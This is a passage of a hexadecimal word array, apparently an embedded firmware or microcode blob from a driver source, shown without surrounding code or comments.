0x7e82722c, 0xc000294d, 0xb7809202, 0x3910430c, 0x0a70c09a, 0xaa01d208, 0xc0007500, 0xc20092c2, 0xc0003900, 0xc0109240, 0xc0007e80, 0xb78091c2, 0x3920430c, 0x0a74c09a, 0xaa01d208, 0xc0007500, 0xc1009084, 0xb71f3900, 0x9d8e79f4, 0xa161f000, 0x7becb73f, 0x430cb7c0, 0x4f0cb780, 0x4031b7a0, 0x7e82c010, 0xd1209ea1, 0x090202eb, 0x0922d001, 0xa149c210, 0xb71f9e6a, 0xc0aa7d6c, 0xb55f0940, 0xd0086c6c, 0xb781a951, 0xb700552c, 0xb7a04134, 0xd032500c, 0x9e4363a8, 0xb51f058f, 0xd1106d74, 0xc07406eb, 0xb77f99f6, 0x058f6d6c, 0xa021d208, 0x9a4bc074, 0x7aecb73f, 0x0ee0c0ae, 0x508cb780, 0x402bb500, 0xaaa2d210, 0xc0409e72, 0xb780a2c6, 0x0902510c, 0x020d9ea2, 0xa149c220, 0x0a10c0aa, 0xaa01d208, 0xc0017500, 0xb77f9002, 0xb77f7dec, 0xd0086c74, 0xd010aa61, 0x7500a971, 0x9124c000, 0xb784000d, 0x0228732c, 0xc00e0109, 0x9eb0297c, 0xb7059e93, 0x9e736acc, 0x9c629e84, 0x520cb780, 0xc2109ea1, 0xb71fa049, 0xb7817d6c, 0x750464ac, 0x9044c003, 0xc00077c0, 0xb71f9304, 0xb7807df4, 0x75004048, 0x9222c000, 0x430cb720, 0xc0a00203, 0xd2080a50, 0x7500aa01, 0x90e2c000, 0x55a9b789, 0xc001711d, 0xb7209262, 0x0203430c, 0x0a50c0a6, 0xaa01d208, 0xc0007500, 0x020393c4, 0x55a9b749, 0x0a48c0aa, 0xaa01d208, 0x54a9b769, 0x112cc101, 0xd0126129, 0xc10119b2, 0xc0a6021c, 0xd2080a60, 0xc101aa81, 0xc07405b4, 0x08049979, 0xc0007140, 0xb73f91a4, 0xb73f6e6c, 0xb78072f4, 0xc004402d, 0x9d9e0a00, 0xa261f000, 0x7decb75f, 0xb75f9e73, 0xd0087cf4, 0xb740a8c2, 0x9d07520c, 0xc0200a02, 0x9e7ba965, 0x0d50058d, 0x08e1cfe8, 0x666ab59e, 0x9885ff14, 0xff74058d, 0xb7c09a3a, 0xb780430c, 0x9e71520c, 0xb745000d, 0xc0404ca8, 0xb73faa25, 0x59205b74, 0x2900c030, 0x2a7cc002, 0x9d9e3244, 0xa261f000, 0x7decb75f, 0xc0a0020d, 0xd0080a04, 0x74c0a9c1, 0x91e2c000, 0xaa01d208, 0x5a08c200, 0xb74200cc, 0xb74268b5, 0xb7825fad, 0xc000642d, 0xd20891a0, 0xc200aa01, 0x00cc5a08, 0x7635b742, 0x6d2db742, 0x71adb782, 0x7074b77f, 0xf0009dbe, 0xb7ffa161, 0x9dfe5cf4, 0xa261f000, 0x5c6cb71f, 0xf0009d8d, 0x9eb0a162, 0x5becb73f, 0x504cb781, 0xf0009d9d, 0xf208a261, 0x74c0a94a, 0x0e26d011, 0xc2002a71, 0xc0005990, 0xb78391a2, 0x08825ccc, 0xe0030d82, 0xb3312a00, 0x05074422, 0x90a0c001, 0xb7849eb1, 0xb749404d, 0xc005654b, 0xd0327d00, 0xc00061b4, 0x9e5990a2, 0x9080c000, 0x04b7d110, 0x5e10d122, 0xc0025910, 0xcffc0a7c, 0x097c2a01, 0x0148d020, 0x2901cffe, 0x0528c101, 0x6525c101, 0x01b6c101, 0x020d5d05, 0x0a70c09a, 0xa882d208, 0x76400a42, 0x0a48d021, 0x5920c200, 0x3a20c081, 0xb75f3244, 0x9dad626c, 0xa261f000, 0xb784000d, 0xb71f62ac, 0xd11061f4, 0x9d8e0629, 0xa261f000, 0x632cb784, 0x616cb75f, 0x0629d110, 0xf0009dad, 0xb784a261, 0xb7ff6c2c, 0xd1107a74, 0x9dfe0629, 0xa261f000, 0x6cacb784, 0x7b6cb71f, 0x0629d110, 0xf0009d8d, 0x9eb0a261, 0x78ecb75f, 0x6d4cb784, 0x0629d110, 0xf0009dad, 0xb784a261, 0xd1106dcc, 0xb75f0629, 0x9dae7874, 0xa261f000, 0xc09a020d, 0xd2080a38, 0xb7ffaa81, 0xc2806074, 0x024c5a08, 0xaa11f288, 0x0639d110, 0xf0009dfe, 0xc280a261, 0x024c5a0c, 0xaa11f2c8, 0x766cb71f, 0x9d8d0238, 0xa261f000, 0x75f4b71f, 0xf0009d8e, 0x020da261, 0x0a30c09a, 0xa901d208, 0x5f6cb77f, 0x0124d020, 0x5e08d122, 0xf2c8024c, 0x0218aa11, 0xf0009dbd, 0x5908a261, 0xf088012c, 0xd110a951, 0xb77f0535, 0x9dbe5ef4, 0xa161f000, 0x5d080d04, 0x052cc101, 0xa952f0d0, 0x5e6cb79f, 0x0115d120, 0xf0009dcd, 0xb71fa162, 0xb71f6eec, 0x008c5df4, 0x50adb721, 0xf0009d8e, 0x008da0e1, 0x7f2db784, 0xc0007500, 0xb75f9284, 0x9d2d706c, 0xc00eaa61, 0xcff00a7c, 0xb75f2a01, 0x9dae7a74, 0xa261f000, 0x7b6cb77f, 0xf0009dbd, 0x000da261, 0x622cb784, 0x7d00c010, 0x9004c001, 0xc0007640, 0xb71f93a4, 0x9d0e7a74, 0xb73faa61, 0x9d9d78ec, 0xa261f000, 0x7b74b73f, 0xaa619d1e, 0x786cb75f, 0xf0009dad, 0xb75fa261, 0x9d2e7674, 0xb77faa61, 0x9dbd75ec, 0xa261f000, 0xb781000d, 0x9e7164ac, 0x7af4b75f, 0xb7807504, 0x9e72500c, 0xa942d810, 0xa8a5c040, 0x508cb780, 0x7d6cb71f, 0x5d6cb53f, 0xa945c040, 0x5a74b55f, 0xb55f9eb0, 0xb70159ec, 0xb73f552c, 0xb51f7cec, 0xb70156ec, 0xb51f6b54, 0xb72058f4, 0xb53f40ad, 0xc008596c, 0x9eb19204, 0x5449b783, 0xc0007500, 0xb78490e2, 0x750273cd, 0x9144c000, 0xb75f0a02, 0x9dad756c, 0xa261f000, 0x93a0c007, 0xc0037506, 0x000d91a4, 0x54a8b783, 0xc0037504, 0xb7809044, 0x9d9f558c, 0x0ff1cfe8, 0xad05c208, 0x020d9d7a, 0xa545c018, 0x0a34c09a, 0xa982d208, 0x9b28ff34, 0x9e859eab, 0x9b24ff34, 0xc09a020d, 0xd2080a18, 0xc101a881, 0x01b6118a, 0x009c0092, 0xb7899eb0, 0xd1a4612b, 0xb7a459fd, 0xc101754c, 0xc00e05b6, 0x5d872a60, 0x5a0fc200, 0x72c0cc14, 0x12dac101, 0xc40002d8, 0xc0540d80, 0x02da9b71, 0xd09162d1, 0xc1000950, 0xc0105a1b, 0xc0600a00, 0xc0007500, 0x008d9232, 0x772db784, 0x7d3edffd, 0x9144c000, 0xc0045923, 0x12440a02, 0xa261f210, 0x546cb55f, 0x9eb39d83, 0x0c71cfe8, 0x0e80d031, 0x0a16008d, 0xb5840c82, 0xb584642d, 0xc03064ad, 0x75009200, 0x9222c004, 0x90a0c000, 0xc0047504, 0xb7209184, 0xb743430c, 0x74805429, 0x9124c000, 0x54a9b783, 0xb3227504, 0xc0004444, 0xc8019084, 0xb7830d02, 0x750454a9, 0x9124c000, 0x73adb784, 0xc0007506, 0xc4019084, 0x9eb13d00, 0x64cdb784, 0x6455b724, 0x5a10c200, 0x2d1ed011, 0x2a40c006, 0x9e523244, 0x7574b75f, 0x9dae3244, 0xa261f000, 0x008d9ebb, 0x0d80c021, 0x0dd0c03c, 0x6f6cb5df, 0x9260c02f, 0x0a820f9e, 0xb53f14f2, 0x0ec25774, 0x6fecb5bf, 0x6f6cb71f, 0x662cb764, 0xc00074c0, 0x098690ba, 0x90a0c000, 0x576cb73f, 0xd1a451e4, 0xc4005987, 0xc0540d80, 0x9e829aeb, 0xc8209e7a, 0xc0009c8f, 0x19049080, 0xd1f15d07, 0xc01c0e2e, 0xc000753c, 0xffff9094, 0x74809301, 0x90c4c000, 0x0cfec006, 0x7282c810, 0x6fecb73f, 0xc00e9e7b, 0x9e680dfe, 0x6f74b73f, 0x2634d010, 0xc2002134, 0x51405204, 0x31280e8c, 0x08a00c90, 0x32d4776c, 0x6f74b53f, 0x6fecb53f, 0x93c4fffd, 0x6cecb75f, 0xf0009dad, 0xb71fa2e1, 0xb71f7cec, 0xb74070f4, 0x0205622c, 0x3a00c101, 0xf0009d8e, 0x9d8ea261, 0xa161f000, 0x62acb780, 0x69ecb73f, 0xf0009d9d, 0xb780a261, 0xb73f632c, 0x9d9e6974, 0xa261f000, 0x412cb780, 0x68ecb75f, 0xf0009dad, 0xb7a0a261, 0x020b430c, 0x0a6cc09a, 0xaa01d208, 0xc0007500, 0x000b92a2, 0x622cb784, 0x7d00c010, 0x91c2c000, 0xb73f9eb0, 0xb78171ec, 0xc0206bcc, 0x9d9d3a00, 0xa261f000, 0x9140c000, 0xb75f9eb1, 0xb78171ec, 0x9dad6bcd, 0xa261f000, 0xb781000d, 0xb71f6cac, 0x9d8e6874, 0xa261f000, 0xb78b008b, 0xb7414f2b, 0x75006d2c, 0x90c2c001, 0x7c82c001, 0x90c4c000, 0x9e92097e, 0x9220c000, 0x292ed3f2, 0x9ea10a7e, 0x2900cff0, 0x592176be, 0x4846b321, 0xb32474be, 0x05034426, 0xc0010109, 0xc1003d04, 0x9e525a20, 0x7274b75f, 0x9dae3228, 0xa261f000, 0x90e0c000, 0x726cb77f, 0xf0009dbd, 0x000da161, 0x6eacb781, 0x67f4b71f, 0xf0009d8e, 0xb781a261, 0xb73f6f2c, 0x9d9d676c, 0xa261f000, 0x59ecb75f, 0x56ecb77f, 0x5a74b77f, 0xb77f6227, 0x1d846d6c, 0x05b8c101, 0x9a11c054, 0x5d6cb79f, 0x58ecb73f, 0x66f4b73f, 0xc00e0040, 0x5820287c, 0x9d9e3002, 0xa061f000, 0xb781000d, 0xb71f6fac, 0x9d8e6674, 0xa261f000, 0x5d6cb79f, 0x596cb73f, 0x65f4b73f, 0x5a20c200, 0x9d9e3242, 0xa261f000, 0x712cb781, 0x656cb75f, 0xf0009dad, 0xb783a261, 0xb75f672a, 0x9dae64f4, 0xa261f000, 0x0902c021, 0x0950c012, 0xf0009dad, 0x000ba261, 0x64acb781, 0xc0017504, 0x9eb09064, 0x646cb73f, 0x6dccb781, 0xf0009d9d, 0xb784a261, 0x750273ac, 0x9162c000, 0x6e4cb781, 0x7374b73f, 0xf0009d9e, 0xc000a261, 0xc00192a0, 0xcffe0a0e, 0xb75f0a7c, 0x9dad736c, 0xa261f000, 0x9140c000, 0xb781000d, 0xb71f702c, 0x9d8e63f4, 0xa261f000, 0x7decb73f, 0xc0a0010b, 0xb7800904, 0x75004029, 0x93c2c000, 0xaa41d008, 0x73f4b73f, 0x5a08c200, 0xb78000cc, 0x9d9e7aad, 0xa261f000, 0x7f2db780, 0x746cb75f, 0xf0009dad, 0xb721a261, 0xb75f43ad, 0x9dae74f4, 0xa0e1f000, 0x9360c001, 0xa942d008, 0xa9a2d248, 0x5d08000b, 0x5e0cd1a2, 0x652ab749, 0x04add110, 0x0a7cc002, 0x7ab5b740, 0x2a01cffc, 0xb71f6245, 0xc10173f4, 0x9d8e0244, 0xa261f000, 0x6d3bd012, 0x5a18c100, 0x5d0b0d0c, 0x7f2db760, 0x6245c101, 0x7474b73f, 0x9d9e0246, 0xa261f000, 0x6127c101, 0x43adb721, 0xc0020124, 0xcffc097c, 0x01222901, 0x74f4b75f, 0xf0009dae, 0xb77fa161, 0xb77f7cec, 0xf0086374, 0x9dbea96d, 0xa161f000, 0xb781000d, 0xb71f70ac, 0x9d8e62f4, 0xa261f000, 0x7d6cb73f, 0x57a9b786, 0xc0007500, 0xb7899164, 0x750254a9, 0x90c4c000, 0x3900c080, 0xa16df008, 0x0a7ec7fe, 0x7c74b73f, 0xf0009d9e, 0xc401a261, 0xc5000a02, 0xb75f0a00, 0x9dad796c, 0xa261f000, 0x999cff54, 0x510cb780, 0x9e709e73, 0x0769d110, 0x508cb780, 0x6eecb73f, 0xb78001b8, 0xb57f500c, 0x000860ec, 0x518cb780, 0x5fecb51f, 0xb59f0218, 0xc00857ec, 0x74809000, 0x0f821a04, 0x0ff2d001, 0x70880882, 0x0892d001, 0xb7a077c0, 0xc0004314, 0x048b9142, 0x554db761, 0x4f53b74b, 0xc0020906, 0x9e6c9100, 0x7bf4b75f, 0x0a48c0aa, 0xa901d208, 0xaa41d010, 0xc0027104, 0x04dc9028, 0x5749b78c, 0xc0007500, 0xb78c9204, 0x75005649, 0x9164c000, 0x0d029e68, 0x4f2ab78b, 0xd0027500, 0xc0000d22, 0x0d069060, 0x7af4b73f, 0xb781040b, 0xb740554c, 0x0244404b, 0x404bb580, 0x91a0c000, 0x5fecb75f, 0x7af4b77f, 0xaa41d008, 0xa1e1d810, 0xd0080a04, 0xb71fa241, 0xf2107aec, 0xb780a929, 0x7104402a, 0xffff11c4, 0x040b91a8, 0x554cb761, 0x9e910902, 0xa09d058d, 0x9b5fff34, 0x57ecb73f, 0xc021020f, 0xb7400a00, 0xc016402d, 0x9dcd0a00, 0xa161f000, 0xff54058d, 0x9ebb9968, 0xc4000992, 0xfef40d02, 0xc4009bc0, 0xb73f0a02, 0x9d9e7c74, 0xa261f000, 0xa941d208, 0x7bf4b75f, 0x430cb720, 0xd2080904, 0xd010a141, 0xb77faa41, 0xc00e7dec, 0x0218297c, 0x0a40c0aa, 0xa962d008, 0xaa11d208, 0x02c47680, 0x90a4c000, 0x732db784, 0x77c002d8, 0x90e4c000, 0x19d4d012, 0xffb49e73, 0xb7209971, 0x0203430c, 0x0a10c0aa, 0xaa01d208, 0xc0017500, 0xb77f90a2, 0x02037bf4, 0x0a48c0aa, 0xa901d208, 0xaa61d010, 0xc0017104, 0xb7ff93a8, 0xd20860f4, 0xd210a941, 0x7088aa61, 0x9288c001, 0x6aadb705, 0x9e739eab, 0x9c629e84, 0x520cb780, 0x9ea0058d, 0xa049c200, 0x9080c001, 0x009cc101, 0x5629b78c, 0xc0007500, 0x9e6993e2, 0x520cb740, 0x64adb781, 0xc0007504, 0x9e919124, 0x0a44c002, 0xa249c210, 0x91a0c000, 0x0665d110, 0xd2080d7e, 0x0908a901, 0xc8109e93, 0xd2087286, 0x058da102, 0x98fbff54, 0x988eff54, 0x430cb780, 0x0a30c0a8, 0xaa01d208, 0xc0007500, 0xb7ff9164, 0xd20860f4, 0xd210a941, 0x7088aa61, 0x9366fff7, 0x430cb740, 0xc0a60205, 0xd2080a50, 0x7500aa01, 0x90a2c000, 0xc0000a06, 0xc1019220, 0x0109022c, 0x0940c0a6, 0x0a60c0a6, 0xaa01d208, 0xa955d008, 0x0a027104, 0x0a42d001, 0x0309058d, 0x98b1ff54, 0x09929ebb, 0x0d02c100, 0x9b09fef4, 0x2b7ccffe, 0x0a02c100, 0x7c6cb71f, 0xf0009d8d, 0xb71fa261, 0xb7a07bf4, 0x0e86430c, 0x4048b780, 0x6a6cb73f, 0x020b02d8, 0x0a60c0ae, 0x0ac0c0aa, 0xaab1d208, 0xaa01d208, 0x1a8402d8, 0xf0009d9d, 0xb73fa2e2, 0x9d9e6af4, 0xa2e2f000, 0x5af4b77f, 0xc0069e6a, 0x0d0209f2, 0x983bfeb4, 0x9e6a9ebb, 0xc0380d02, 0xfeb409f2, 0x9eab9834, 0xffb49e73, 0x758098ad, 0x90a4c000, 0xc000010d, 0xb7209280, 0xb786430c, 0x750056a9, 0x90a4c000, 0xc0009e6a, 0xb75f9140, 0xd0087dec, 0x0902aa41, 0xd0017500, 0x9e950922, 0xcffe7580, 0xc0002efc, 0xb7209124, 0xb787430c, 0x75004f29, 0x9102c002, 0x0a82c008, 0x7c74b75f, 0xf0009dae, 0xb77fa2e1, 0x9d3d79ec, 0xc401a961, 0xc0080a02, 0xb77f0a00, 0x9dbe7974, 0xa261f000, 0x3940c002, 0xf0009dbd, 0x9ebba161, 0x09929eaa, 0x9a8dfef4, 0xb7ff0a02, 0x9dfe7974, 0xa261f000, 0x7c6cb71f, 0xf0009d8d, 0xb71fa2e1, 0x9d0e6b74, 0xb73fa9e1, 0x9d1d6bec, 0xb73faa61, 0x9d1e72f4, 0x7680a962, 0x9202c000, 0x6e74b77f, 0x5a35c180, 0xf0102a7c, 0xd110a961, 0x11281525, 0x1aa0d111, 0x9060c000, 0xb7400a82, 0x058d430c, 0xc0a60986, 0xd008095c, 0x0a04aa41, 0xa241d008, 0x430cb740, 0x012cc101, 0x0960c04e, 0xaa41d008, 0xd0080a04, 0xff14a241, 0x758098ac, 0x9162c000, 0x430cb720, 0x590cc280, 0x43adb785, 0xb5850244, 0x774043ad, 0x9242c000, 0x430cb780, 0xc0a69ea2, 0xc0aa0a5c, 0xd2080d4c, 0xd010a901, 0x7088aa41, 0xb3540a02, 0x9ea54828, 0x7becb79f, 0x4314b700, 0x7df4b7ff, 0xa901d208, 0xd2109e44, 0xc101a9e2, 0x01850120, 0x0a30c09a, 0x09e0c0ae, 0x0940c0aa, 0xd208040c, 0xd008a902, 0xd008a8e2, 0xb709a951, 0x76c07c50, 0x0a029e69, 0x0a42d001, 0x058d018b, 0xa219a01e, 0xff34a315, 0x758099d1, 0x9282c000, 0x716cb71f, 0x430cb720, 0xb7809d0b, 0x058d4028, 0xc2000992, 0x00c25a08, 0x7ab5b742, 0x0971cfe8, 0x985afeb4, 0x430cb720, 0x6a33b743, 0xc0067680, 0xb7839184, 0x87825d2d, 0x75020902, 0x87b2e00a, 0x75049de0, 0x0922d001, 0x0a027508, 0x0a42d001, 0xd0407600, 0xc0003128, 0x9e5490a2, 0x90e0c000, 0x0a069d44, 0xd0017440, 0xc0010a42, 0xc200853e, 0x0e825a08, 0x8500cfc0, 0x586cb59f, 0x4018b960, 0x2e5ed3f1, 0xd0117506, 0xc00012da, 0xb73f90c2, 0x9d1e77f4, 0xb75faae1, 0x9d2d776c, 0xb75fa9e1, 0x9d2e76f4, 0xb7ffa9e2, 0xb7205874, 0xd0104314, 0x047a045a, 0xd0100400, 0xd1200482, 0xb7230083, 0xb7846aab, 0x9e9a4ecb, 0xc03e9d48, 0x12422d7c, 0x0244c101, 0x4ecbb584, 0x4314b720, 0x59084904, 0x0482d010, 0x0083d120, 0x012ac101, 0x50cbb784, 0x70abb723, 0x0124d020, 0x12429d4b, 0x59a921b4, 0xb5840246, 0xb72050cb, 0x010b4314, 0x297cc03e, 0x0482d010, 0x0083d120, 0x7aabb723, 0x52cbb784, 0xc03e0787, 0x12422ffc, 0xb5840244, 0xb72052cb, 0x9d4f430c, 0xc1019d7e, 0x00820402, 0xb7849ddf, 0xb70454ab, 0x215644d2, 0x9dfc25be, 0xc1015929, 0xc3ff1240, 0x02442ac0, 0x5da977c0, 0xc2800e84, 0xb58459d1, 0xc00154ab, 0xb72091c4, 0xd0104314, 0xd12004a2, 0xb7230083, 0xb78476ab, 0x124256cb, 0x0246c301, 0x56cbb584, 0x4314b720, 0x04a2d010, 0x0083d120, 0x40abb724, 0x58cbb784, 0xc1011242, 0xb5840246, 0xb72058cb, 0xd0104314, 0xd12004a2, 0xb7240083, 0xb7844aab, 0x12425acb, 0xb5840246, 0xfffa5acb, 0xb72093e1, 0x0203430c, 0x0a50c0a6, 0xaa01d208, 0xc0007500, 0xc1019204, 0xb71f021c, 0xc0a67bec, 0xd2080a40, 0xb740aa15, 0x1a044028, 0xc0007088, 0x758092d8, 0x91c2c000, 0x7174b71f, 0x4590b760, 0x6631b74d, 0x4048b740, 0x04879e73, 0x988ffef4, 0x716cb73f, 0xb5800a7f, 0xb7404029, 0xb73f430c, 0x0a7f7bf4, 0x4049b580, 0xc0a60205, 0xd2080a50, 0x7500aa01, 0x92a4c000, 0x02059e92, 0x0a5cc0a6, 0x0d4cc0aa, 0xa901d208, 0xaa41d010, 0xc0007088, 0x058d9108, 0x99e9ff34, 0xffaf7400, 0xb75f9324, 0x0a166dec, 0xa24df008, 0x430cb720, 0xc0a60203, 0xd2080a50, 0x7500aa01, 0x9044c001, 0x55b1b769, 0x5529b749, 0x4614b720, 0x0d060089, 0x9120c000, 0xaa7df088, 0x750a9e8f, 0x4842b327, 0xd051050f, 0x70976a29, 0x01c2c101, 0x0a22d011, 0xc00e0109, 0xffff297c, 0x768091f4, 0x9162c000, 0x4588b780, 0x460cb740, 0x02446a52, 0xf2480906, 0x010fa115, 0x0900c021, 0x0a02c002, 0xf0009dad, 0xc002a261, 0x9dad1a00, 0xa261f000, 0x430cb740, 0x0a869e70, 0x0914c0b6, 0xa942d008, 0x52a0c200, 0x9e510a7f, 0x2242424a, 0xa241d008, 0x99c6ff34, 0x29ded3f2, 0x98a3fef4, 0x67eeb79f, 0x686eb7bf, 0x68eeb7df, 0x696eb7ff, 0x8461cfe6, 0xf0319c22, 0x9e5aaa05, 0x05079e5b, 0x0920c092, 0x09a8c092, 0x0d30c092, 0xd008721b, 0xb584a0c2, 0xd008682d, 0xb584a0e2, 0xb524662d, 0xb5846935, 0xb524672d, 0xb5246a35, 0xd0106b35, 0x0d84a0c2, 0xffce0890, 0xfffe9342, 0xb74493c0, 0xb74466b5, 0xb784692d, 0xb76469ad, 0x5d20662d, 0x2d00cff0, 0x59409e50, 0x29fcc00e, 0x5a60c200, 0x297cc00f, 0x31263240, 0x9dbe3244, 0xa261f000, 0x6cf4b71f, 0x08a00d90, 0xffcf72c0, 0xffff9222, 0xa6059000, 0x0e82c021, 0x994cfe94, 0x0e80c010, 0x9dde0a06, 0xa261f000, 0xfe940d82, 0x0d8a9a37, 0x994afe94, 0x0a02c021, 0x0a40c03c, 0xaa619d4d, 0x0a82c021, 0x438cb580, 0x0ae0c004, 0xaae19d5d, 0x29ded072, 0xfed42afc, 0xb7209959, 0xc0214b8c, 0xc0060a02, 0x01030a50, 0x0964c102, 0xa2c1d008, 0x54a9b5a9, 0xaa619d4d, 0xc0007d1e, 0xc02192c2, 0xc0060a02, 0x9d4d0a40, 0x0a0aa961, 0xf0009dde, 0x74bfa261, 0x9122c000, 0x0a02c021, 0x0a10c002, 0xf0009dcd, 0xc401a161, 0xc0210a02, 0xcff00902, 0x09200a00, 0xf0009dad, 0xb720a261, 0x0a02538c, 0x4814b740, 0x9ea30c96, 0x4708b580, 0x4808b580, 0x018928e1, 0x0ec2c03c, 0x0a82c058, 0x0802c01c, 0x0c02c014, 0x9c87c020, 0x2d3ed3f1, 0xa0c6f010, 0xd0107480, 0xc000a141, 0x9e4390e4, 0xa0ddf1d0, 0x9240c000, 0xaa49f1d0, 0x0a1c7482, 0x2a610246, 0xa25df1d0, 0x4422b303, 0x90c2c000, 0x74869e6b, 0x4432b353, 0x0d500d84, 0x9001ffff, 0x0a02c021, 0x0902c801, 0x0a40c004, 0xf0009dcd, 0x0902a161, 0xb9609e92, 0xc1004018, 0xc0215a08, 0xc10e0a00, 0x9dcd0a40, 0xa162f000, 0xffff0904, 0xc02192c1, 0xc10e0d02, 0x09020d30, 0x53f8b960, 0xc3fe0205, 0xc0012a40, 0x9dae3a08, 0xa261f000, 0xffff0940, 0xc02192e1, 0x0a820a02, 0x0a40c004, 0xf0009dcd, 0xc00aa2e1, 0x9dcd0a50, 0xa2e1f000, 0x9dcd0a10, 0xa2e1f000, 0x0952c123, 0x0960c566, 0x9dcd1a20, 0xa161f000, 0x98e9fe94, 0x0922c829, 0x0940c98e, 0xaa41f008, 0xc0007500, 0x0a0490a2, 0xa241f008, 0x996cfef4, 0xfe949eab, 0x000b9877, 0x7f6eb79f, 0x7feeb7bf, 0x9c228c40, 0x8460a61d, 0x4b8cb720, 0x09ff0a02, 0x01039e8a, 0x0910c124, 0x0d14c124, 0xa241d008, 0xa241d010, 0xb560a192, 0xb58d4408, 0xb58d5a29, 0xc0215aa9, 0xc0060882, 0x9d1d08d0, 0xc00eaa61, 0x75062a7c, 0x90f2c000, 0xfed40d8a, 0xffff9983, 0xc0219240, 0xc0060902, 0x9d2d0940, 0x9d2dab62, 0x9d2dabe1, 0xa11ea962, 0xa9e19d2d, 0x2eeed1f1, 0x7542a199, 0x9184c001, 0x478cb7c0, 0xf2290e82, 0xd3f1aa55, 0x058d2ede, 0x9eba750a, 0xa89aa91d, 0x018b0e84, 0x90e2c000, 0x98d5fe94, 0xfed49eab, 0x77449983, 0x91a4ffff, 0xfed4058b, 0xa8919953, 0xb5800a16, 0xb79f41ad, 0xb7bf7cee, 0xb7df7d6e, 0xb7ff7dee, 0xc0027e6e, 0x9c228c60, 0xb7609e74, 0xc7f0460c, 0xd2242a00, 0xd0515aa1, 0x02266d59, 0xaa15f248, 0xc000750a, 0xb72091c4, 0xc809470c, 0xccc20d42, 0x02220d40, 0xf2080902, 0xf208a10d, 0x754ea102, 0x93a4c000, 0xb7609e6c, 0xb7404b8c, 0xc0b84408, 0xd0206a42, 0xc01c00c6, 0xb54974be, 0xc0007d49, 0x0a029122, 0x0a40c0b8, 0x00c66229, 0x7db1b5a9, 0xb5890a7f, 0xb5a07dc9, 0xc0104410, 0xc0047f80, 0x058b9142, 0x98b6fe94, 0x9eaba91e, 0x8d00e071, 0xfed4018f, 0xb79f9b07, 0xc01c7468, 0xc000753e, 0xfed490c4, 0xb51f9941, 0xb77f7468, 0x0d067470, 0xc00e55cc, 0xfed42dfc, 0x9e6c9900, 0x4b8cb720, 0x6a42c0b8, 0x7468b77f, 0x008b02c2, 0xb723058b, 0x9ead59ad, 0xc06c030b, 0xf2100ea0, 0xf210aba2, 0xa095a322, 0xb5e3008b, 0xa91d59ad, 0x0b40c06c, 0x5d3dc300, 0xab42f208, 0xa141f208, 0xb7e3aa19, 0x9e5a5aad, 0x5aadb583, 0xfed42d04, 0x008b99ff, 0x7470b77f, 0xa3a2f210, 0xa342f208, 0x5aadb5e3, 0x0d06a915, 0xc00e55cc, 0xb5432dfc, 0xfed459ad, 0xb7409a6e, 0xf0504614, 0x7508aa55, 0x9124c000, 0x460cb760, 0xf0480a06, 0xc000a275, 0x75049180, 0x9124c000, 0x4c8cb720, 0x4029b780, 0xffff7500, 0xb7409224, 0xf088460c, 0x7508aa49, 0x9182c000, 0xfff77504, 0xb74093c4, 0xd0104c14, 0x7500aa41, 0x92e2fff7, 0x460cb760, 0xf0880a06, 0xfff7a269, 0xa91d9200, 0x9ebaa89a, 0x058d9e6b, 0x9bf1fe74, 0xfed4058b, 0xfff7989f, 0xa60d9080, 0x430cb740, 0xc0a80205, 0xd2080a30, 0x7500aa01, 0x92a4c003, 0xc0a69e92, 0xd0100d50, 0x7480a941, 0x92e4c000, 0xd0100a04, 0xb780a241, 0x9e93430c, 0x0a68c0a6, 0xa101d208, 0x98d7fef4, 0x430cb780, 0x0a30c0a8, 0xaa01d208, 0xc0027500, 0xb7209304, 0x0203430c, 0x0a58c0a0, 0xaa01d208, 0xc0027500, 0xb7a991c2, 0xb7c055a9, 0xc0014694, 0xf2109220, 0x750aaa2d, 0x93e4c000, 0x0d869eaa, 0xc00e55e8, 0xfed42dfc, 0xb7209844, 0xb780460c, 0xd3f24688, 0x00e229de, 0x6ca9b580, 0x9b39ff14, 0xf2100a02, 0xc809a22d, 0xc8cc0a42, 0xf2100a50, 0xc001a221, 0xb78990c0, 0x71485529, 0xc0000285, 0x0d929124, 0x9810fed4, 0x430cb720, 0x55a9b7a9, 0x430cb720, 0x4000ba2d, 0x6b59d051, 0x01030203, 0x0a68c0a6, 0x094cc0aa, 0xa902d208, 0xaa41d008, 0x02edd120, 0x1952d011, 0xfffd7299, 0xb79f9386, 0xb7bf7eee, 0xb7df7f6e, 0x8c607fee, 0xa61d9c22, 0xb7808420, 0xc0a8430c, 0xd2080a30, 0x7500aa01, 0x9124c009, 0x98d5ff34, 0x430cb720, 0xc0a80203, 0xd2080a30, 0x7680a902, 0x93a4c008, 0x1a58c006, 0xaa01d208, 0xc0047500, 0x02039222, 0x0a48c0aa, 0x54b1b7a9, 0xa901d208, 0x07059e57, 0xa21d1205, 0x612bc101, 0x1e52d011, 0x4001ba3d, 0xc0010344, 0xb78990a0, 0xc1015529, 0x02d8029c, 0x0ac0c0a6, 0x9a12c014, 0xa035d208, 0x430cb720, 0x0a72d011, 0x4000ba3c, 0x5529b789, 0x0669f110, 0x02420f04, 0x01099ea2, 0x0d40c0a6, 0x095cc0a6, 0x90c2c000, 0xaa55d010, 0xa241d008, 0x71dfa91d, 0x9e6b9eb3, 0xb7200364, 0xfffe430c, 0xb78992c4, 0x090255a9, 0x02189e90, 0x0a60c0a6, 0x9c87c820, 0xd2080005, 0xc002a101, 0xb7209020, 0xb789430c, 0xd1105529, 0xc2000609, 0x00c25a08, 0x4fadb505, 0x430cb720, 0x5529b789, 0x0090c101, 0xc0a60098, 0xb76008e0, 0xc0004029, 0xd01091a0, 0xb741aa61, 0xb745552d, 0x62454fd5, 0x0244c101, 0x4fcdb585, 0x430cb720, 0x0932d012, 0x5529b789, 0x9e930116, 0x0609d110, 0x0de0c0ae, 0x5908c200, 0xc0a60242, 0xd2080a40, 0xd020aa15, 0x710600a2, 0xc00e9e53, 0xfffe29fc, 0x0c049392, 0x9021fffe, 0xfed40d82, 0xb7209bc0, 0x0203430c, 0x0a30c0a8, 0xa902d208, 0xc0037680, 0xc0069344, 0xd2081a58, 0x7500aa01, 0x90e2c003, 0xc0aa0203, 0xd2080a48, 0xb749aa01, 0xb7a954a9, 0x070555b1, 0xba2d7104, 0xcfff4001, 0x01890d7e, 0x0d30cffe, 0x6e59d051, 0x4432b323, 0xb7406555, 0xc101460c, 0x9e6e0528, 0xd0310144, 0xc00e1fa2, 0xd17129fc, 0xd0120aa2, 0xa1990fa6, 0x9360c000, 0x9b17feb4, 0x4688b780, 0x29eed3f2, 0xa221d208, 0x9a0fff14, 0x0d42c809, 0x0d50c8cc, 0xe2509e7a, 0xd011a166, 0x0d021a62, 